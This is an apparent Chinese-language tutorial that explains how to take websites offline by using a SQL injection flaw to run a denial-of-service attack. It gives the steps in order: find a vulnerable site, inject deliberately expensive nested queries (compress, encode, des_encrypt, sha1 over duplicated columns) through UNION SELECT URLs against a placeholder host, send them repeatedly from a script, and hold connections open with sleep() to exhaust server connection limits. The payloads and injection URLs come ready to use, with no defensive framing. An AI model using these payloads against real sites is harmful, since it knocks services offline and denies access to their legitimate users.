標籤:
在這之前,我先介紹一下此方法的思路和原理,以便讓大家更好地理解這種攻擊方法。我們知道,如果一個網站存在sql注入漏洞,那麼我們就能讓網站資料庫執行我們的sql語句,並得到相應的輸出(當然,有些情況下是沒有回顯的)。所以我們有了一個思路:構造一條足夠複雜的sql語句,讓資料庫去執行,以此來消耗Web服務和資料庫的資源,耗盡伺服器資源,我們甚至也可以讓資料庫達到其最大串連數,讓資料庫不能再去回應其它合法使用者的串連請求。
目前,整個思路已經很清晰了,我們可以開始構造複雜的sql語句了。
sql為我們提供了許多函數,允許我們構造足夠複雜的語句來用一個極其複雜的方法去得到相應的輸出結果,例如join(), like(), compress(),encode()函數等。
我們將採用以下步驟完成我們的攻擊:
1. 找到一個存在注入漏洞的網站。
2. 構造我們的sql注入語句
3. 對目標網站實施sql DDOS攻擊
如何尋找sql注入漏洞和構造sql語句,我之前的文章已經詳細地講過了,你可以去閱讀一下。我這裡假設你已經具備了相應的知識,然後繼續我們的討論。
向網站注入我們的DDOS查詢語句
有許多方法可以做到這一點,你需要的是你的大腦,還有一個用來測試的網站。接著,我們來構造致命的sql語句吧。
我建立了一個500行的表,每一個欄位含有500位元組的資料,這實際上代表了一些論壇,部落格網站的資料量。如果資料庫更大一些,我們就可以找到更多資料庫啟動並執行缺陷,對這類網站實施DDOS攻擊更容易成功。
我們將使用下面的payload去實施DDOS攻擊,我花費了好幾個小時來構造這些payload:
select tab1 from (select decode(encode(convert(compress(post) using latin1),concat(post,post,post,post)),sha1(concat(post,post,post,post))) as tab1 from table_1)a;
select tab1 from (select decode(encode(convert(compress(post) using latin1),des_encrypt(concat(post,post,post,post),8)),des_encrypt(sha1(concat(post,post,post,post)),9)) as tab1 from table_1)a;
假設這是我們所找到的存在sql注入漏洞的網站,且注入語句如下:
http://exploitable-web.com/link.php?id=1‘ union select 1,2,3,4--
我們假設第3個欄位可以用來回顯,我們把我們第二個payload放到第三個欄位處。
http://exploitable-web.com/link.php?id=1‘ union select 1,2,(select tab1 from (select decode(encode(convert(compress(post) using latin1),des_encrypt(concat(post,post,post,post),8)),des_encrypt(sha1(concat(post,post,post,post)),9)) as tab1 from table_1)a),4--
或者
http://exploitable-web.com/link.php?id=1‘ union select 1,2,tab1,4 from (select decode(encode(convert(compress(post) using latin1),des_encrypt(concat(post,post,post,post),8)),des_encrypt(sha1(concat(post,post,post,post)),9)) as tab1 from table_1)a--
接著,我們可以寫一個指令碼,不斷地將這條查詢語句發送給網站資料庫,利用這種方法,我們僅通過一個普通的串連就可以使網站癱瘓了。使用這種方法進行DDOS攻擊時,我們並不需要成千上萬的肉雞。
我們也可以使用sleep語句來保持我們與網站的串連,同樣達到DDOS攻擊的效果。在asp.net中,預設在30秒內最多同時允許100條串連,我們可以使用sleep()持久地保持我們與網站之間的串連(可以使用指令碼同時進行多條串連),這樣伺服器就不能正常去響應其它使用者的請求。
好了,本文到這就結束了。
通過SQL注入實施DDOS攻擊的方法